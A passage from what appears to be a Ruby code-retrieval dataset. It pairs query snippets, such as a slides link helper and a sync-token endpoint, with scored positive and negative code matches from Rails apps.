type #{type}, expected b or e.\")\n end\n end", "title": "" }, { "docid": "23fb67d0b0af7a42b29ff3505ea762e8", "score": "0.5045571", "text": "def destroy\n @bot = Bot.find(params[:id])\n @bot.destroy\n\n respond_to do |format|\n format.html { redirect_to user_bots_path(current_user.id)}\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "310867913b61b033ed012309c8da1cfb", "score": "0.50435555", "text": "def remove_worker(worker, request)\n request.ignore_reply_from(worker)\n end", "title": "" }, { "docid": "11da278b33c002b52bf713f5d1742b77", "score": "0.5041991", "text": "def undock(bike)\n raise \"This bike is not docked\" unless bikes.include?(bike)\n bikes.delete(bike) \n end", "title": "" }, { "docid": "ab68e925cb10ae59b27f4a965bd6b425", "score": "0.50415975", "text": "def discardWeaponInHangar(i)\n\t\tif [email protected]?\n\t\t\[email protected](i)\n\t\t#else\n\t\t#\traise \"WARNING! Trying to discard a weapon where no hangar is available, at SpaceStation.discardWeaponInHangar()\"\n\t\tend\n\tend", "title": "" }, { "docid": "f31b14705723d3dcbb423439d47a98e0", "score": "0.50374293", "text": "def unlink\n\t\t\[email protected]\n\t\tend", "title": "" }, { "docid": "04fcad997a88fa2d927aa51bd3a12a7b", "score": "0.5036731", "text": "def unbind\n RFlow.logger.debug \"Connection to lost\"\n server.connections.delete(self.signature)\n end", "title": "" }, { "docid": "f2b64c770b5c8ac43bf55d04c1e9b42e", "score": "0.502991", "text": "def destroy\n @scrapebot = Scrapebot.find(params[:id])\n @scrapebot.destroy\n\n respond_to do |format|\n format.html { redirect_to scrapebots_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "dc799583a812f8a2514d69f15ecde61e", "score": "0.5022253", "text": "def destroy\n @my_bike.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "3acb571400140302f02f9d4d97895d24", "score": "0.5018626", "text": "def unban(target)\n mask = Mask.from(target)\n\n @bot.irc.send \"MODE #{@name} -b #{mask}\"\n mask\n end", "title": "" }, { "docid": "1c8936009b6266537ddd05dea3857c7c", "score": "0.5016799", "text": "def destroy\n @ms_bag = Ms::Bag.find(params[:id])\n @ms_bag.destroy\n\n respond_to do |format|\n format.html { redirect_to(ms_bags_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "8f107d044640d79400758833d52b2ed9", "score": "0.5016587", "text": "def remove_from_machine(machine = nil)\n update(machine: nil) if self.machine\n end", "title": "" }, { "docid": "70d63aed7b2224a6384b62705881a001", "score": "0.50141037", "text": "def unban(target)\n mask = Mask.from(target)\n\n @bot.irc.send \"MODE #@name -b #{mask}\"\n mask\n end", "title": "" }, { "docid": "84f5921180899e361695529968880585", "score": "0.5006428", "text": "def preserve_site_bot\n throw :abort if name == 'bot'\n end", "title": "" } ]
05893355be9d37c0b161d3746390bb02
def link_to_slides_2 ' Slides ' end
[ { "docid": "276e08b06d25bd53b346f3172fb5c539", "score": "0.7781156", "text": "def link_to_slides(attrs = {})\n link_to(\"slides\", \"./slides.html\", attrs)\n end", "title": "" } ]
[ { "docid": "ab573e5ee93788eed4ad344e65862ba7", "score": "0.6570946", "text": "def show\n @slides [email protected](params[:urlpage])\n \n end", "title": "" }, { "docid": "3312da46735b8b93fb74eb05448d2856", "score": "0.6528411", "text": "def slideshow\n self\n end", "title": "" }, { "docid": "7afbc03976590f2bc5e3278072e193f4", "score": "0.6338274", "text": "def set_slide\n @slide = @presentation.slides.friendly.find(params[:id]) \n end", "title": "" }, { "docid": "17e432e53b2b753e3d9fd2b983060ac5", "score": "0.6173774", "text": "def publication_link\n h.link_to \"Read Now\" , object.publication_url , title: 'Read Now' , class: 'btn waves-effect waves-light btn-primary custom-btn' , target: '_blank'\n end", "title": "" }, { "docid": "93517244f33c0c321cab7bf5aad711ba", "score": "0.61668515", "text": "def link_name\n title\n end", "title": "" }, { "docid": "20337ae84a615414f91f818756608054", "score": "0.615227", "text": "def link_4menu(item) #:nodoc:\n html = ''\n link = item.link\n link = \"/#{@site.route_name}/#{item.page_id}\" #if link.blank?\n# \n html << @parent.link_to(item.picture, link) unless item.picture.blank?\n html << if !item.caption.blank?\n # TODO Translation\n @parent.link_to(item.caption, link)\n end\nend", "title": "" }, { "docid": "f078e2b505047012da2ef07d2a33f4f1", "score": "0.61498886", "text": "def link\n '-'\n end", "title": "" }, { "docid": "3106d8dfab10e5700b010e3ca73ba6fb", "score": "0.61399955", "text": "def render(slide)\n send(\"render_#{slide[1]}\", slide[0]) if slide[0] =~ /\\S/\nend", "title": "" }, { "docid": "b9d635690fa66369eb249d2f199f3316", "score": "0.6138349", "text": "def index\n @presentation = Presentation.friendly.find(params[:presentation_id])\n @slides = @presentation.slides.order(sort_order: :asc)\n redirect_to new_presentation_slide_path(@presentation) unless @slides.any?\n\n add_breadcrumb @presentation.name, presentation_path(@presentation)\n add_breadcrumb 'Slides', presentation_slides_path(@presentation)\n\n end", "title": "" }, { "docid": "9d43aa5b91818b6c7ae0bb496f4f9948", "score": "0.6113023", "text": "def get_title_from_slide_text(slide_text)\n\n end", "title": "" }, { "docid": "3e6a102b1a3550d5f44ae38a296641ec", "score": "0.6112269", "text": "def href; end", "title": "" }, { "docid": "7bdda5bb6c60eeb9c2b9e09545be4732", "score": "0.6110419", "text": "def link_documentation; end", "title": "" }, { "docid": "7de9d9a49272c2b4d42c872059372e93", "score": "0.61076427", "text": "def add_images_link(name)\r\n link_to_function name do |page|\r\n page.insert_html :bottom, :images, :partial => 'image' , :object => Image.new\r\n end\r\n end", "title": "" }, { "docid": "7cb09c2b8308d8d4da57b274d3906c2b", "score": "0.60900825", "text": "def my_links\n end", "title": "" }, { "docid": "f2e9cf48c0a38257ddd7f5e9987a41e4", "score": "0.6057536", "text": "def link_to_identifier; end", "title": "" }, { "docid": "f2e9cf48c0a38257ddd7f5e9987a41e4", "score": "0.6057536", "text": "def link_to_identifier; end", "title": "" }, { "docid": "fea33128071275c665aa911203c16f99", "score": "0.6051956", "text": "def link() url; end", "title": "" }, { "docid": "fea33128071275c665aa911203c16f99", "score": "0.6051956", "text": "def link() url; end", "title": "" }, { "docid": "9e810562769b5fe290320dc6250dfc28", "score": "0.6032586", "text": "def show\n @contents = @slide.contents\n end", "title": "" }, { "docid": "e7a0f6bb06aef5c7756f43617b063cc0", "score": "0.6031587", "text": "def link *a; app.link *a end", "title": "" }, { "docid": "ad99f0c357c0618e799d82e6da50b486", "score": "0.60073197", "text": "def permalink; end", "title": "" }, { "docid": "ad99f0c357c0618e799d82e6da50b486", "score": "0.60073197", "text": "def permalink; end", "title": "" }, { "docid": "23bfe36c18901a3b2d5144606d6fe922", "score": "0.5996719", "text": "def create\n @mode = 'I'\n render 'admin/slides/slide'\n end", "title": "" }, { "docid": "cafa7e93bbb99062665e4f57649e0649", "score": "0.5937164", "text": "def next_page; link 'next' end", "title": "" }, { "docid": "15cc11a202633148741d25f63a6b9053", "score": "0.5925617", "text": "def anchor\n \"p#{id}\"\n end", "title": "" }, { "docid": "404aea3f2204a75b061d0d79f548ed55", "score": "0.5897872", "text": "def slideshow_time\n end", "title": "" }, { "docid": "31a9a8df9895bf07a3877651e9645367", "score": "0.589778", "text": "def link\n subject_link\nend", "title": "" }, { "docid": "35941544a60bab45fa43455bfee2b082", "score": "0.5877121", "text": "def show_slide\n @slide = @slideshow.slides[session[:slide_index]]\n session[:slide_index] += 1\n if @slide.nil?\n session[:slide_index] = 0\n @slide = @slideshow.slides[0]\n end\n render partial: \"show_slides\"\n end", "title": "" }, { "docid": "5504dc7ce0ff52fbb63317e6678aea51", "score": "0.58737814", "text": "def link_to( title, href )\n \"<a href='#{href}'>#{title}</a>\"\nend", "title": "" }, { "docid": "0dc122a6094942873390849dc09ea194", "score": "0.5873372", "text": "def index\n @slideshows = Slideshow.all\n @pag_url = '/slideshows/reload_pag'\n @page = 'home'\n end", "title": "" }, { "docid": "b83db656b0333c2239e5b17c5f08c8f2", "score": "0.58624583", "text": "def link_title_to_article\n \"<a href=\\\"articles/#{@filename}\\\">\" + @title + '</a>'\n end", "title": "" }, { "docid": "b5955b3fcc5268d8a1acda21496acd38", "score": "0.5862422", "text": "def photoLinked( id )\n link_to photo( id ), link( id ), :target => \"_blank\" \n end", "title": "" }, { "docid": "ba8a360fc08979573777213c89917c24", "score": "0.5857564", "text": "def index\n @slides = Slide.all\n end", "title": "" }, { "docid": "ad496c6fa7656f3c80162161aa1bc574", "score": "0.584844", "text": "def precinctsShowLink\n \"#{firstname} #{lastname}, #{office.name}\"\n end", "title": "" }, { "docid": "f25e4b3c0458b3627a0a4d71dc41a322", "score": "0.58420736", "text": "def show\n @carousel_slides = @carousel.carousel_slides\n end", "title": "" }, { "docid": "5142b88b8e2063df62e066d590d41d20", "score": "0.5831909", "text": "def show\n @title = t('view.slides.show_title')\n @slide = @lesson.slides.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slide }\n end\n end", "title": "" }, { "docid": "deda839d4846fc1394af370296e7d5c8", "score": "0.5817132", "text": "def show\n session[:slideshow] = @slideshow\n session[:slide_index] = 0\n @slide = @slideshow.slides[0]\n end", "title": "" }, { "docid": "302f199f54ec1a02f9be7e57bb4367f2", "score": "0.5814951", "text": "def tasknav_link(text, action) \n link_to text, :id => nil, :controller => \"task\", :action => action \n end", "title": "" }, { "docid": "e3c3425418f5bf8d50f24f776bab404b", "score": "0.58066237", "text": "def links; end", "title": "" }, { "docid": "e3c3425418f5bf8d50f24f776bab404b", "score": "0.58066237", "text": "def links; end", "title": "" }, { "docid": "9604fa3a78e45872f549200003acf726", "score": "0.5780704", "text": "def show_slide\n @slideshow = session[:slideshow]\n session[:slide_index] += 1\n @slide = @slideshow.slides[session[:slide_index]]\n if @slide == nil\n session[:slide_index] = 0\n @slide = @slideshow.slides[session[:slide_index]]\n end\n render :partial => \"show_slide\"\n end", "title": "" }, { "docid": "0d8d1203961db5a9d468b9c6ef9055b0", "score": "0.5775166", "text": "def url_for_mnhn(barcode)\r\n #\"https://science.mnhn.fr/institution/mnhn/collection/p/item/\" + barcode #herbarium sheets\r\n \"https://science.mnhn.fr/institution/mnhn/collection/f/item/\" + barcode #fossil slides\r\nend", "title": "" }, { "docid": "df57bd25927e1d798d3e9fd5f32bf106", "score": "0.57749593", "text": "def page_title\n \t\"PatTalk\"\n end", "title": "" }, { "docid": "fcaa26ad696c944e52bdf1f9c4f8bb46", "score": "0.5769173", "text": "def orbit_slideshow_frame(slide, position=0)\n link_options = {}\n if slide.is_a?(Artist)\n artist = slide\n artist_brand = artist.artist_brands.where(brand_id: website.brand_id).first\n\n slide_content = link_to(artist) do\n image_tag(artist.artist_photo.url(:feature), alt: artist.name, lazy: false) +\n content_tag(:div, class:\"orbit-caption\") do\n content_tag(:h2, artist.name) +\n content_tag(:p, artist_brand.intro.to_s.html_safe)\n end\n end\n elsif slide.string_value.to_s.match(/^((?:https?:)?\\/\\/)?((?:www|m)\\.)?((?:youtube\\.com|youtu.be))(\\/(?:[\\w\\-]+\\?v=|embed\\/|v\\/)?)([\\w\\-]+)(\\S+)?$/i)\n video_id = $5\n\n slide_content = link_to(play_video_url(video_id), target: \"_blank\", class: \"start-video\", data: { videoid: video_id } ) do\n image_tag(slide.slide.url, lazy: false)\n end\n else\n slide_link = (slide.string_value =~ /^\\// || slide.string_value =~ /^http/i) ? slide.string_value : \"/#{params[:locale]}/#{slide.string_value}\"\n\n if slide.string_value.to_s.match(/http/i)\n unless slide.string_value.to_s.match(/#{website.url}/i)\n link_options[:target] = \"_blank\"\n end\n end\n slide_innards = image_tag(slide.slide.url, alt: slide.name, lazy: false)\n if slide.text_value.present?\n slide_innards += content_tag(:div, class: \"homepage-orbit-caption orbit-caption\") do\n content_tag(:div, slide.text_value.html_safe, class: \"caption-content\")\n end\n end\n\n slide_content = (slide.string_value.blank?) ?\n slide_innards :\n link_to(slide_innards, slide_link, link_options)\n end\n\n # We may want to use the built-in captions\n # slide_content += content_tag(:div, \"caption content\", class: \"orbit-caption\")\n content_tag(:li, slide_content)\n end", "title": "" }, { "docid": "1eaf4ecf26b83a4dde3d01d8032a10f7", "score": "0.5767737", "text": "def slideshow_controls(options={})\n default_options = { duration: 6000, slides: [] }\n options = default_options.merge(options)\n if options[:slides].size > 1 && options[:slides].size < 7\n divs = \"\"\n (1..options[:slides].size).to_a.reverse.each do |i|\n divs += link_to_function(i,\n \"stop_slideshow(#{i}, #{options[:slides].size});\",\n id: \"slideshow_control_#{i}\",\n class: (i==1) ? \"current_button\" : \"\")\n end\n content_tag(:div, id: \"slideshow_controls\") do\n raw(divs)\n end\n else\n \"\"\n end\n end", "title": "" }, { "docid": "7c55a02a91bb82c76b8e5b20e859ba70", "score": "0.57617563", "text": "def show\n @agenda = Agenda.find(params[:id])\n @slides= @agenda.slides\n @slide= @slides[0] if @slides.count == 1 and !params[:slide]\n @slide= Slide.find(params[:slide]) if params[:slide]\n @menu_edit_link = (\"<a href='\"+edit_agenda_path(@agenda)+\"'>Edit</a>\").html_safe if userCould :agendas\n\n if ((userCould :slide) or (userCould :projector)) and [email protected]? then\n @menu_cmd_link = '<a id=\"drop1\" href=\"#\" role=\"button\" class=\"dropdown-toggle\" data-toggle=\"dropdown\">Slide<b class=\"caret\"></b></a><ul class=\"dropdown-menu\" role=\"menu\" aria-labelledby=\"drop2\">'\n Projector.all.each{|p|\n @menu_cmd_link += '<li><a href=\"#\" onclick=\\'$.post(\"'+(url_for p)+'\", { \"command[cmd]\": \"load\", \"command[slide]\": \"'[email protected]_s+'\", \"authenticity_token\" : \"'+form_authenticity_token+'\"} );\\'>Auf Beamer '+p.name+'</a></li>' \n }if userCould :projector\n @menu_cmd_link += '<li><a href=\"'+edit_slide_path(@slide)+'\">Bearebieten</a></li>' if userCould :slide\n @menu_cmd_link += '</ul>'\n @menu_cmd_link = @menu_cmd_link.html_safe\n end\n\n @load_push = true\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agenda }\n end\n end", "title": "" }, { "docid": "312d4b68dc74cdc3596e738871e9d436", "score": "0.5736656", "text": "def index\n @slides = Slide.paginate(:page => 1, :per_page => 10)\n @page = 'slides'\n end", "title": "" }, { "docid": "120a4bcd231b8a1a83e93be821373a92", "score": "0.57325786", "text": "def link_self; end", "title": "" }, { "docid": "acac8a3899982e0aa9654f138da2cac1", "score": "0.5729993", "text": "def title_tag(slides = nil)\n controller, desy = controller_path, SETTINGS['application_name']\n return t('captions.titles.admin', :desy => desy) if controller.start_with? 'admin/'\n case controller\n when 'documents'\n t('captions.titles.documents', :desy => desy)\n when 'lessons', 'lesson_editor'\n t('captions.titles.lessons', :desy => desy)\n when 'audio_editor', 'image_editor', 'video_editor', 'media_elements'\n t('captions.titles.media_elements', :desy => desy)\n when 'users'\n t('captions.titles.profile', :desy => desy)\n when 'virtual_classroom'\n t('captions.titles.virtual_classroom', :desy => desy)\n when 'lesson_viewer', 'lesson_export'\n case action_name\n when 'index', 'archive'\n t('captions.titles.single_lesson', :desy => desy, :lesson => slides.first.lesson.title)\n else\n t('captions.titles.virtual_classroom', :desy => desy)\n end\n else\n t('captions.titles.default', :desy => desy)\n end\n end", "title": "" }, { "docid": "4370c539f6408fa6ed8e58b43626d8df", "score": "0.5708189", "text": "def nexia_link # :doc:\n content_box.a(:text => \"nexiahome.com\")\n end", "title": "" }, { "docid": "7ba3811e68d10ac5796c72e9660ee17a", "score": "0.5704822", "text": "def link\n\t\tpage_id.present? ? short_page_path(Page.find(page_id)) : href\n\tend", "title": "" }, { "docid": "73593ea2bd49fe79cfc9df95abcb2970", "score": "0.57000035", "text": "def main_menu_link; MAIN_MENU_LINK; end", "title": "" }, { "docid": "0e0febaed571ac749e30bbe195970406", "score": "0.569463", "text": "def click_through_link\n\t\treturn '/items/' + self.items.first.slug if !self.items.first.blank?\n\t\treturn '/blog/' + self.blogs.first.slug if !self.blogs.first.blank?\n\t\treturn \"#\"\n\tend", "title": "" }, { "docid": "b87726ce678afb4b2ff4f1dfc95c0f2d", "score": "0.5691652", "text": "def normal_news_link\n normal_link(\"news_#{@news.news_type}\") if @news\n\tend", "title": "" }, { "docid": "19196f7a3e0030e79e2dd5d77ead4ea1", "score": "0.56891066", "text": "def lab\n # STUB\n end", "title": "" }, { "docid": "0e7aec6898b029e00f2c1902b0c3320e", "score": "0.5679659", "text": "def generated_permalink; end", "title": "" }, { "docid": "5e619c40e7ca31f1094e81603d6301c7", "score": "0.5655064", "text": "def get_linked_full_name_with_logo\n h.link_to( get_logo_for_season_type + ' ' + get_full_name, meeting_show_full_path(id: object.id), { 'data-toggle'=>'tooltip', 'title'=>I18n.t('meeting.show_results_tooltip') } )\n end", "title": "" }, { "docid": "d0b3e2be6e8f69b3a3d4c0459644f520", "score": "0.56503123", "text": "def page_title; end", "title": "" }, { "docid": "8e86a811b8413594643912544a692a5f", "score": "0.564699", "text": "def link_to(name, url, options = {}); end", "title": "" }, { "docid": "fe9c2edecd38a0a2102113a3b45a5775", "score": "0.56396186", "text": "def index\n @slides = Slide.paginate(:page => params[:page], :per_page => 10).order('id DESC').accessible_by(current_ability)\n end", "title": "" }, { "docid": "f39ab1604e69cdf4200b1c988d1c5740", "score": "0.56350565", "text": "def link_markup(descr = nil)\n descr = \"View resource.\" if descr == nil\n\n link = @reference_action_def.doi\n link = @reference_action_def.link if link.empty?\n return \"<a href=\\\"#{link}\\\" target=\\\"_blank\\\">#{descr}</a>\"\n end", "title": "" }, { "docid": "bc7691270e4c510c32a4c33722c12ccf", "score": "0.56291586", "text": "def direct_pdf_link(m,p)\n end", "title": "" }, { "docid": "eb274e2ea4bfba7a1a071feff0db9cbc", "score": "0.56194454", "text": "def link_text\n name\n end", "title": "" }, { "docid": "113a83e9d7836a85345049079900e0f1", "score": "0.56184393", "text": "def sections_augmented_link( obj )\n title = \"\"\n title << obj.code unless obj.try( :code ).blank?\n title << \"\\n\" unless title.empty? or obj.try( :description ).blank?\n title << obj.description unless obj.try( :description ).blank?\n\n content_tag(\n :span,\n link_to( h( obj.title ), obj ),\n :title => title\n )\n end", "title": "" }, { "docid": "5f5ef4aa3ff19b230889ff79e7f41eed", "score": "0.56076664", "text": "def my_link_to_show(data)\r\n link_to image_tag(\"info.png\", :border=>0), data, :title => \"Details anzeigen\"\r\n end", "title": "" }, { "docid": "b36142fd0d8a82acbed04c439b776a16", "score": "0.5607073", "text": "def post_title (post)\n link_to_post(post)\n end", "title": "" }, { "docid": "349146895f47ed78182164e2db0230dc", "score": "0.5604117", "text": "def link\n inclusion.strip\n end", "title": "" }, { "docid": "f79202e689ac9a2a1a002965fa560c66", "score": "0.56011176", "text": "def permalink\n link(:perma)\n end", "title": "" }, { "docid": "66e09f00dd74f19dd20f8e2523fe403c", "score": "0.559845", "text": "def create_links\n end", "title": "" }, { "docid": "66e09f00dd74f19dd20f8e2523fe403c", "score": "0.559845", "text": "def create_links\n end", "title": "" }, { "docid": "f61ffccf867fa7353c2c5aeed8faf566", "score": "0.5598056", "text": "def mediawiki_link\n return nil unless @name\n \"[[#{@name}]]\"\n end", "title": "" }, { "docid": "08c93aeb968e498c0b667763664a5602", "score": "0.5596493", "text": "def activate\n tab 'Content' do\n add_item \"Gestion des Slides\", \"/admin/slides\", :after => \"Pages\"\n end\n Page.send :include, HomeSliderTags\n end", "title": "" }, { "docid": "c65a1b0088ae96653dba3f310bbb935e", "score": "0.559566", "text": "def thumb_link\n \"/images/pictures/#{self.id}.jpg\"\n end", "title": "" }, { "docid": "70b5047a4f8e98e30fa5d5ba6827b157", "score": "0.55956364", "text": "def next_comic\r\n \tif sorted_articles.index(item) == 0\r\n\t\t\t# apply the inactive html and css\r\n\t\t\t'<h7 id=\"next-comic\" title=\"This is the most recent comic.\" class=\"comic-viewer-inactive\">next &#x25B8;</h7>'\r\n\t\telse\r\n\t\t\tnxt = sorted_articles.index(item) - 1\r\n\t\t\tlink_to('next &#x25B8;', sorted_articles[nxt].reps[0], :id => \"next-comic\", :title => \"View the next comic.\")\r\n\t\tend\r\n end", "title": "" }, { "docid": "1c4a9483449413fe90e4f43af6e200bf", "score": "0.55881035", "text": "def set_slide\n @slide = Slide.find(params[:id])\n end", "title": "" }, { "docid": "6856da753cea61aa7ad8e2b1a4f66fce", "score": "0.55794376", "text": "def slide\n slde = { start_date: mk_date(start_year),\n end_date: mk_date((end_year.presence || start_year)),\n text: mk_text(body, name) }\n if image.attached?\n slde['media'] = { url: cover_url.to_s,\n link: url }\n end\n slde\n end", "title": "" }, { "docid": "cf4d6e7a0a02ba78a41afbd4d3ae611d", "score": "0.5575882", "text": "def index\n @tbl_slides = TblSlide.all\n session[:fromeditpage]=0\n session[:fromslides]=1\n\n\n\n end", "title": "" }, { "docid": "18fdfd12ae1da4475b49a973b81aa532", "score": "0.5572566", "text": "def next_slide()\n if @current_slide < @total_slides - 1\n @current_slide += 1\n end\n end", "title": "" }, { "docid": "9f2f0a4898392ca002d149e63ce0a15f", "score": "0.55714726", "text": "def link_to_show(path)\n link_to image_tag('icons/001_38.png',\n :size => ICON_SIZE,\n :alt => 'Show'), path\n end", "title": "" }, { "docid": "ff7e5cda1bceeafd8a2390eb2f6cfecb", "score": "0.55707383", "text": "def play\n @selected_slide_key = @interface.current_slide.short_name\n respond_to do |format|\n format.html { render :play, layout: 'etm' }\n format.js\n end\n end", "title": "" }, { "docid": "ca5378137a6c6dc0a3ab39e2b4d13fb3", "score": "0.5557654", "text": "def tab(name, options = {})\ns = \"<li\"\ns << \"class = 'current'\" if @current_tab == options[:name] || name.downcase\ns << '>'\ns << link_to(lang, options[:url] || send(\"#{name.downcase}_path\") )\ns << '</li>'\nend", "title": "" }, { "docid": "f1d1eb336cbe390951f2891a97bd1e50", "score": "0.55384815", "text": "def navBarLink(url,text, img_name, link_option)\n ### <%= link_to raw('<button type=\"button\" class=\"btn-img btn btn-default navbar-btn\">'+image_tag(\"list16x16.png\",{:title =>\"Ir al Listado\", :alt=>\"Listar\", :border => \"0\"})+\" Listado</button>\"), cargos_path %>\n\n link_to raw('<button type=\"button\" class=\"btn-img btn btn-default navbar-btn\">'+image_tag(img_name,{:border=>\"0\", :alt=>\"\"})+\" \"+text+\"</button>\"), url, link_option\n end", "title": "" }, { "docid": "02e0667c615ff2f13bf701ab6ba76a5e", "score": "0.55250996", "text": "def click(link); end", "title": "" }, { "docid": "018eeb80f07f7ec1877c9cae04f8f449", "score": "0.55186325", "text": "def page_title\n end", "title": "" }, { "docid": "9b21386e8f6960dc66fd240c305b1717", "score": "0.55157125", "text": "def index\n @contents = @slide.contents\n redirect_to new_presentation_slide_content_path(@presentation, @slide) unless @contents.any?\n end", "title": "" }, { "docid": "18e9357206183742ff18169971f70296", "score": "0.55132884", "text": "def source_url\n handle, slug = @element.embed_id.split('/', 2)\n \"https://www.slideshare.net/#{handle}/#{slug}\"\n end", "title": "" }, { "docid": "3790ecb6611caffeeaf7e7f5b5b9acea", "score": "0.5511874", "text": "def faqs\n end", "title": "" }, { "docid": "3790ecb6611caffeeaf7e7f5b5b9acea", "score": "0.5511874", "text": "def faqs\n end", "title": "" }, { "docid": "7336774909ad6644f742a406447c39db", "score": "0.550401", "text": "def page_link1(page, text, attributes = {})\n @template.link_to_remote(text, { \n :url => url_for(page).sub(/(\\w+)\\/[^\\?]+\\?/, \"\\\\1?\"),\n :method => :get,\n :loading => \"$('paging').show()\",\n :success => \"$('paging').hide()\"\n }.merge(@remote))\n end", "title": "" }, { "docid": "3271b57c045bda2b453326ebc5dbc358", "score": "0.5494191", "text": "def section_link(name,options)\n if options[:action].include?(@current_action) && options[:controller] == @current_controller\n link_to(name, \"/\"+ options[:url], :class => 'current')\n else\n link_to(name, \"/\"+ options[:url])\n end\n end", "title": "" }, { "docid": "c89706b996553e0cfe5a3b31848784a3", "score": "0.54934376", "text": "def link_to_ecoologic\n image = image_tag(Setting.ecoologic_link_image_url,\n {:alt => Setting.ecoologic_alt, :height => '64px'})\n url = Setting.ecoologic_link_url\n link_opts = {:title => Setting.ecoologic_link_title, :target => '_blank'}\n # :id => :ecoologic_link\n \n link_to image, url, link_opts\n end", "title": "" }, { "docid": "4c0797a32fb6db6dbdb60a2d6737a99c", "score": "0.549197", "text": "def next_page\n @page.link_with(:text => /Next/)\n end", "title": "" }, { "docid": "7b3220aaed3107c6078a567afc36426c", "score": "0.5476133", "text": "def tutorial\n end", "title": "" }, { "docid": "62455a87075f5bbd93007e33d6fe8955", "score": "0.5475188", "text": "def link\n \"/forums/discussions/#{uuid}\"\n end", "title": "" }, { "docid": "810880e6b9b2684e22a13afc41965021", "score": "0.5471488", "text": "def imdb_link(lnk)\n if lnk =~ /^https?:/\n lnk\n else\n IMDB_BASE + lnk\n end\nend", "title": "" }, { "docid": "2db1727c004e4a69c5fe733b97177fd5", "score": "0.54702324", "text": "def latex_link_target(el, add_label = T.unsafe(nil)); end", "title": "" }, { "docid": "0e0bf5f946fdc3fc5fe46814a086f282", "score": "0.54692006", "text": "def link(url, title) # :nodoc:\n \"[#{title}](#{url})\"\n end", "title": "" }, { "docid": "60cb6be42ab317813d5155616655a8ab", "score": "0.54641837", "text": "def index\n #@deck = Powerpoint::Presentation.new\n # Creating an introduction slide:\n # title = 'Bicycle Of the Mind'\n # subtitle = 'created by Steve Jobs'\n # @deck.add_intro title, subtitle\n\n # Creating a text-only slide:\n # Title must be a string.\n # Content must be an array of strings that will be displayed as bullet items.\n # title = 'Why Mac?'\n # content = ['Its cool!', 'Its light.']\n # @deck.add_textual_slide title, content\n\n # Creating an image Slide:\n # It will contain a title as string.\n # and an embeded image\n #title = 'Everyone loves Macs:'\n #subtitle = 'created by Steve Jobs'\n #content = ['Its cool!', 'Its light.']\n #image_path = ActionController::Base.helpers.asset_path('/app/assets/images/ss.png').to_s\n #image = view_context.image_path 'ss.png'\n #url = 'http://localhost:3000' + image\n #image = view_context.image_path 'https://res.cloudinary.com/indoexchanger/image/upload/v1501168483/qxbvro2yhvibid0ra5rp.jpg'\n #puts image\n #@deck.add_pictorial_slide title, url\n #@deck.add_textual_slide title, subtitle\n #\n\n # Specifying coordinates and image size for an embeded image.\n # x and y values define the position of the image on the slide.\n # cx and cy define the width and height of the image.\n # x, y, cx, cy are in points. Each pixel is 12700 points.\n # coordinates parameter is optional.\n # coords = {x: 124200, y: 3356451, cx: 2895600, cy: 1013460}\n # @deck.add_pictorial_slide title, image_path, coords\n\n # Saving the pptx file to the current directory.\n #@deck.save('mps.pptx')\n # @products = Product.all\n # \n \n @presentation = RubySlides::Presentation.new\n \n chart_title = \"Chart Slide exported from ruby\"\n chart_series = [\n {\n column: \"Col1\",\n rows: [\"Lorem\", \"Ipsum\", \"Dolar\", \"Ismet\"],\n values: [\"1\", \"3\", \"5\", \"7\"]\n },\n {\n column: \"Col2\",\n color: 'FF9800',\n rows: [\"A\", \"B\", \"C\", \"D\"],\n values: [\"2\", \"4\", \"6\", \"8\"]\n }\n ]\n @presentation.chart_slide chart_title, chart_series\n\n @presentation.save('mps.pptx')\n\n @products = Product.order('created_at DESC')\n respond_to do |format|\n format.html\n format.xlsx {\n response.headers['Content-Disposition'] = 'attachment; filename=\"all_products.xlsx\"'\n }\n end\n end", "title": "" }, { "docid": "cbb9f91e3929ec47eac2c961a423da98", "score": "0.54641086", "text": "def permalink\n project_url(Episode.active, project, host: Rails.application.config.rakismet.url)\n end", "title": "" }, { "docid": "f9eb93dc58176605ec39172bfa3d8e9b", "score": "0.54638237", "text": "def index_item_thumb(document)\n if document.do_url\n link_to(\n thumbnail_image_tag(document),\n document.do_url\n )\n else\n link_to(\n thumbnail_image_tag(document),\n solr_document_path(document.id)\n )\n end\n end", "title": "" } ]
f0536860dba074732b7a0d7ceb32542e
Generates a sync token Return values: On success: 200 OK => [user, personal_key] (same as user_create) On failure: Cannot fail (unless not authenticated) URL params: : Login of the user to sync : Output format wanted POST params: auth_token: timebased token generated (string, length == 8) Query URLs: POST /users//sync_token POST /users//sync_token.format
[ { "docid": "26891f9d1d6788be8acdf3c454d0b7de", "score": "0.74811584", "text": "def create\n prev = @user.sync_tokens.current.first\n prev.revoke! if prev\n sync_token = @user.sync_tokens.create\n @response.status = :created\n @response.body = sync_token\n respond\n end", "title": "" } ]
[ { "docid": "e12a0ace9fb6bd8d7e9db220b399baee", "score": "0.67996055", "text": "def sync_token\n end", "title": "" }, { "docid": "3fcae0367795fe1a3c875f52edc335ca", "score": "0.6715101", "text": "def account_sync\n sync_token = @user.sync_tokens.current.find_by_sync_token params[:id]\n if sync_token and not sync_token.used and sync_token.expires_at > DateTime.now\n sync_token.revoke!\n @response.status = :ok\n @response.body = [@user, @user.personal_key]\n else\n @response.status = :unprocessable_entity\n @response.body = false\n end\n respond\n end", "title": "" }, { "docid": "a6f3c0dccc59e3b3f08057275e4067cd", "score": "0.62569666", "text": "def generate_auth_token\n command = P::GenerateAuthTokenCommand.new\n send_command(:generate_auth_token, command)\n end", "title": "" }, { "docid": "c94be9a8e70f0b2b86d808f6b5a20836", "score": "0.6187234", "text": "def generate_authorization_token\n # create the token that contains the necessary elements to authorize the user\t\n # using a nested array because the alphabetical order must be maintained\n token = [['credentials', self.user.to_credential_string,], ['identity', self.user.to_identity_string], ['time', Time.now.to_i.to_s]]\n encoded_parms = token.collect {|pair| pair[1] = CGI.escape(pair[1]); pair.join('=')}.join('&')\n\n digest = Digest::SHA2.new\n digest.update(encoded_parms)\n\n hmac = HMAC::SHA256.new(self.options[:shared_secret])\n hmac.update(encoded_parms)\n\n # add the hashed digital signature to the end of the query parameters\n encoded_parms += \"&signature=#{hmac.hexdigest}\"\n end", "title": "" }, { "docid": "fc0d68d527aaf8624635cb3f033d95dd", "score": "0.6128103", "text": "def generate_token(options)\n response = JSON.parse(post(\"token_auths\", options).body)\n 